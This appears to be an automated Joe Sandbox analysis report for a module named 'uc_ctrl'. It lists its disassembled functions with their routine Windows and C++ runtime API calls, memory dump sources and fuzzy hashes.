API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@_H_prolog3_catch
String ID:
API String ID: 2493636478-0
Opcode ID: c68e25e294d86b2766e78a243d0c1e5d85a0542a37a337177d30c581e19470da
Instruction ID: 843460f1c6c5f3d990e3299014e0887424065775b3aa55844c93545ab3a91e8a
Opcode Fuzzy Hash: c68e25e294d86b2766e78a243d0c1e5d85a0542a37a337177d30c581e19470da
Instruction Fuzzy Hash: 8E11E331A011119FCB00CF68C480AEDFBF5BF29318FA4805AE015ABB91CB71ED65CB90

Function 6C954A00 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C954A07
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020), ref: 6C954A27
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000001,?,00000000,00000020), ref: 6C954A86

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: 9a37766b809efb36d9577469f63b52636ed3cbea713a592273f26a4bbd087827
Instruction ID: 203a47802817e822381ee7c4231ad35246c413d68f14ae51bbc8e58c76d631e6
Opcode Fuzzy Hash: 9a37766b809efb36d9577469f63b52636ed3cbea713a592273f26a4bbd087827
Instruction Fuzzy Hash: 811149316006149FCB04DFA8C894BEDB7B5BF18328F588158E516AB792C771E865CB94

Function 6C951A60 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C951A67
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6C951A95
?sputbackc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C951ABE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C951B19

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@_H_prolog3_catch
String ID:
API String ID: 2493636478-0
Opcode ID: 30036cf126f28519d1fdf8236ded6d090fd79e18a74937e771a7b3f8b6530fe3
Instruction ID: d8132c1c57636788084f5d99f46326b8c8dc008ea81dfcc9545a6f2a2e5ddfc2
Opcode Fuzzy Hash: 30036cf126f28519d1fdf8236ded6d090fd79e18a74937e771a7b3f8b6530fe3
Instruction Fuzzy Hash: 6E11E335A011159FCB00CF68C480AEDFBF5BF29718FA4805AE015ABB91CB71DD65CB90

Function 6C955500 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C955507

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?sgetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,00000001,00000018,6C95537B), ref: 6C955544
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,00000001,00000018,6C95537B), ref: 6C9555C0

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?setstate@?$basic_ios@_?sgetc@?$basic_streambuf@_H_prolog3H_prolog3_catchIpfx@?$basic_istream@_
String ID:
API String ID: 639633032-0
Opcode ID: 2ae0c488aff8fbcd6f2a18023251edfe119fe8aee3c30c23af3a4d6d572aebaf
Instruction ID: c50e50078f3a13e2d75e67ab1223b3c0246ece9eb566e4ec88ccca78b5c077be
Opcode Fuzzy Hash: 2ae0c488aff8fbcd6f2a18023251edfe119fe8aee3c30c23af3a4d6d572aebaf
Instruction Fuzzy Hash: EC11BF34A002018FC710DF99C550AADB7F5BF69308FA0805ED046DBB92CB70EE06CB80

Function 6C9517B0 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9517B7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020), ref: 6C9517D7
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000001,?,00000000,00000020), ref: 6C951836

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: 2b7083bfb625178c159f99f1b8336c671944c69f97415e50df35cae127f4748d
Instruction ID: 1179be22742c132b8952e06dd2697800bd6857288966a1b6bb1af5647c9ee967
Opcode Fuzzy Hash: 2b7083bfb625178c159f99f1b8336c671944c69f97415e50df35cae127f4748d
Instruction Fuzzy Hash: DF114631A006149FCB14DFA8C8D0BEDB7B5AF18728F588158E516AB792C771E86ACB50

Function 6C9577E0 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9577E7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020), ref: 6C957807
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,00000001,?,00000000,00000020), ref: 6C957866

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: 5e350e3b7cbb49655e064d0a5a5741cbec845e1483a3b52eb6ffe77c908dd3d7
Instruction ID: 4421a47f995c845b334504f2e54feb38e8fa0aa5a76886e5edf7d8bc05723bf0
Opcode Fuzzy Hash: 5e350e3b7cbb49655e064d0a5a5741cbec845e1483a3b52eb6ffe77c908dd3d7
Instruction Fuzzy Hash: 48117931A006149FCB00DFA8C8D0FEDBBB5AF28728F588158E506AB792C770E965CB50

Function 6C951990 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C951997
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6C9519C5
?sungetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C9519EB
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C951A46

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@_H_prolog3_catch
String ID:
API String ID: 1267243179-0
Opcode ID: 4ac7230de5f350d33f45b31416c5413fa38e0fccc1cec6f168a0ce0179f46d4b
Instruction ID: d6ef5b3563ea9a146556f8042ed5034fad683de5d16652a18d6b0b25f5fc11bf
Opcode Fuzzy Hash: 4ac7230de5f350d33f45b31416c5413fa38e0fccc1cec6f168a0ce0179f46d4b
Instruction Fuzzy Hash: BA11CE75A011119FCB01CF68C490AEDBBF4BF29318FA4805AE005ABB81CB75DA56CB90

Function 6C954BD0 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C954BD7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6C954C05
?sungetc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEGXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C954C2B
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C954C86

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@_H_prolog3_catch
String ID:
API String ID: 1267243179-0
Opcode ID: 6828f110b466212326fbc42a3bc6f303ab7041ef4846b9f3f0cb1c47d62f2ba1
Instruction ID: 87fc373bacb0ca09865e2b9bbc01fa46001c5f1e7dd0bdb69ab0265b99acda9f
Opcode Fuzzy Hash: 6828f110b466212326fbc42a3bc6f303ab7041ef4846b9f3f0cb1c47d62f2ba1
Instruction Fuzzy Hash: BC11E071A011119FCB00CF68C480AEDBBF4FF68318FA4805AE005ABB91CB75DD65CB90

Function 6C957A80 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C957A87
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6C957AB5
?sputbackc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C957ADE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C957B31

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_?sputbackc@?$basic_streambuf@D@std@@@std@@H_prolog3_catchU?$char_traits@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 3662155203-0
Opcode ID: 9bd3f96e0139004e89eb791e70f49e5e7adeab835a6fd543aa976c4ce557c30f
Instruction ID: 8a49941125d36b554729b648aaab943de8752c7ce9e775eb4201e8229ded78e2
Opcode Fuzzy Hash: 9bd3f96e0139004e89eb791e70f49e5e7adeab835a6fd543aa976c4ce557c30f
Instruction Fuzzy Hash: 5311C1309111109FCB00CF68C480ADCBBF5BF28718F64814AE015ABB91CB71DA65CB90

Function 6C936AE0 Relevance: 6.1, APIs: 4, Instructions: 53fileCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000034), ref: 6C936AFE
CreateFileW.KERNEL32(?,00000080,00000007,00000000,00000003,00000000,00000000), ref: 6C936B13
GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C936B29
CloseHandle.KERNEL32(?), ref: 6C936B37

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: FileHandle$CloseCreateInformationmemset
String ID:
API String ID: 2456596185-0
Opcode ID: 0f70d58da33e9061d2f2dc45c16ddb1fc165fadb52f1b3f25d2681f96b9eb550
Instruction ID: 5e7a5923fc049ca16bf6748d7840a8e5eb5cbf1a5c79855d12851026c5c49f2b
Opcode Fuzzy Hash: 0f70d58da33e9061d2f2dc45c16ddb1fc165fadb52f1b3f25d2681f96b9eb550
Instruction Fuzzy Hash: 1E018872B46168F7DB119EA5DC09E9FBB7CFB82B10F504519F916E7280DB309905CBA0

Function 6C9375B1 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,6C937524,?,00000003,00000010,?,?,?,?,?,?,?,?,?,?), ref: 6C9375DF
new.LIBCMT ref: 6C9375D3

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

new.LIBCMT ref: 6C9375F1
Concurrency::cancel_current_task.LIBCPMT(?,6C937524,?,00000003,00000010,?,?,?,?,?,?,?,?,?,?), ref: 6C9375FF

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID:
API String ID: 1934640635-0
Opcode ID: 71122d916e887278fc5c591f682da3bdf9a6376f9cd09d95fe0bdc408dc37d89
Instruction ID: ffee64d843eae397c90b53586e7b8e4ad852942238cb449a39b3192c72aa46a5
Opcode Fuzzy Hash: 71122d916e887278fc5c591f682da3bdf9a6376f9cd09d95fe0bdc408dc37d89
Instruction Fuzzy Hash: BAF0C27220531ADBDB0C8B34DA609AA379CDB247687205929E92DCBEC0EF30D554C574

Function 6C9579B0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C9579B7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6C9579E5
?sungetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C957A0B
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C957A5E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_?sungetc@?$basic_streambuf@D@std@@@std@@H_prolog3_catchU?$char_traits@U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 2884342730-0
Opcode ID: b06d83e948616bd3dbb18e308e437f526225803a2de1438841a0fb9165b862aa
Instruction ID: 9a74435b9680736483804458285b123e856bdbcf58e9cd990f5003fd520d52cd
Opcode Fuzzy Hash: b06d83e948616bd3dbb18e308e437f526225803a2de1438841a0fb9165b862aa
Instruction Fuzzy Hash: 5111A074A11211DFCB00CB68C480ADCBBF9BF68718FA4815AE015ABBD1CB75EA55CB90

Function 6C7C4C59 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,6C7C4C00,?,00000000,00000000,00000000,?,6C7C4E71,00000006,FlsSetValue), ref: 6C7C4C8B
GetLastError.KERNEL32(?,6C7C4C00,?,00000000,00000000,00000000,?,6C7C4E71,00000006,FlsSetValue,6C812278,6C812280,00000000,00000364,?,6C7C39F6), ref: 6C7C4C97
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6C7C4C00,?,00000000,00000000,00000000,?,6C7C4E71,00000006,FlsSetValue,6C812278,6C812280,00000000), ref: 6C7C4CA5

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: f9c86204983b563f2513f331ca402493f000e9acab2d2c8a90f4632c2e1a9d3b
Instruction ID: d5bf3c39ecacba4377066dd9154aa410b38f73e09eb953dce70fa18dab519fec
Opcode Fuzzy Hash: f9c86204983b563f2513f331ca402493f000e9acab2d2c8a90f4632c2e1a9d3b
Instruction Fuzzy Hash: 5401A233755333AFCB318A6ACD85E6677A8AF0ABA57200730FD15D7A90DB21D800D6E1

Function 6C92A8F0 Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT(?,00000001), ref: 6C92A90F

Part of subcall function 6C92ADD0: __Xtime_get_ticks.LIBCPMT(?,?,?,?,?,?,6C92A914,?,00000001), ref: 6C92ADE7
Part of subcall function 6C92ADD0: __aulldvrm.LIBCMT ref: 6C92ADF6

_Xtime_diff_to_millis2.MSVCP140(?,?), ref: 6C92A91C
Sleep.KERNEL32(00000000), ref: 6C92A924
_xtime_get.LIBCPMT(?,00000001), ref: 6C92A931

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: _xtime_get$SleepXtime_diff_to_millis2Xtime_get_ticks__aulldvrm
String ID:
API String ID: 3804602159-0
Opcode ID: cf73b9942085ad5b85324cf347939fb21abe157060dc201162812daec011ad7b
Instruction ID: 6b3e887a9f6117ae4a251776d6acdb519241fa031e7cf99b33d3e99d602910ba
Opcode Fuzzy Hash: cf73b9942085ad5b85324cf347939fb21abe157060dc201162812daec011ad7b
Instruction Fuzzy Hash: 9F01C4375183069FDB00DF14C48299AB3E8EB60324F10880EF4D987984EF34F584C796

Function 6C92AAE0 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9845F0), ref: 6C92AAF0
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000198), ref: 6C92AB12
__Thrd_current.LIBCPMT ref: 6C92AB40

Part of subcall function 6C92A990: GetCurrentProcess.KERNEL32(?,00000002,00000001,00000000), ref: 6C92A99F
Part of subcall function 6C92A990: GetCurrentThread.KERNEL32 ref: 6C92A9A6
Part of subcall function 6C92A990: GetCurrentProcess.KERNEL32(00000000), ref: 6C92A9AD
Part of subcall function 6C92A990: DuplicateHandle.KERNEL32(00000000), ref: 6C92A9B4
Part of subcall function 6C92A990: CloseHandle.KERNEL32(?), ref: 6C92A9C1
Part of subcall function 6C92A990: GetCurrentThreadId.KERNEL32 ref: 6C92A9CD

LeaveCriticalSection.KERNEL32(6C9845F0), ref: 6C92AB6F

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Current$CriticalHandleProcessSectionThread$CloseDuplicateEnterLeaveThrd_currentcalloc
String ID:
API String ID: 4125661966-0
Opcode ID: 203deca56a8d01242e7444a52681c2c9400b381b9200789ec9e7d88158f9aa47
Instruction ID: 6642db00859377fe8abb3f46654eebb239c2eab7e1ab9cc27c636c538335d161
Opcode Fuzzy Hash: 203deca56a8d01242e7444a52681c2c9400b381b9200789ec9e7d88158f9aa47
Instruction Fuzzy Hash: 0211CE72205B06EFD3188F29D450B96F7F5FB86319F114A2AE09E83A44DB34E441CB91

Function 6C941A00 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C941A07
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,0000000C), ref: 6C941A15

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93E064: __EH_prolog3.LIBCMT ref: 6C93E06B
Part of subcall function 6C93E064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93E56F,00000010,?,?,00000000), ref: 6C93E076
Part of subcall function 6C93E064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6C93E08E
Part of subcall function 6C93E064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6C93E0F2

std::locale::~locale.LIBCPMT ref: 6C941A2E
?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(?,?,?,00000000,0000270F,00000000,00000000,?,?,?,?,0000000C), ref: 6C941A4C

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3U?$char_traits@_V?$istreambuf_iterator@_$??1_?getloc@ios_base@std@@Bid@locale@std@@Getint@?$time_get@_Lockit@std@@V?$ctype@_Vlocale@2@W@2@@W@std@@@2@0W@std@@@std@@@std@@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 59661042-0
Opcode ID: 3095d0bffd5172ab975a411d8fcad6a182af2d6db760f7f333b5a61ee939ce10
Instruction ID: f42cafe999c85bfb4b1f6d939dcf54f8b566edd68e0a8309d1146188a3696fc9
Opcode Fuzzy Hash: 3095d0bffd5172ab975a411d8fcad6a182af2d6db760f7f333b5a61ee939ce10
Instruction Fuzzy Hash: 2A11A571900209AFCB08CF64C890AFE37B5BF25328F008559F9199B7D0DB30DA15CB55

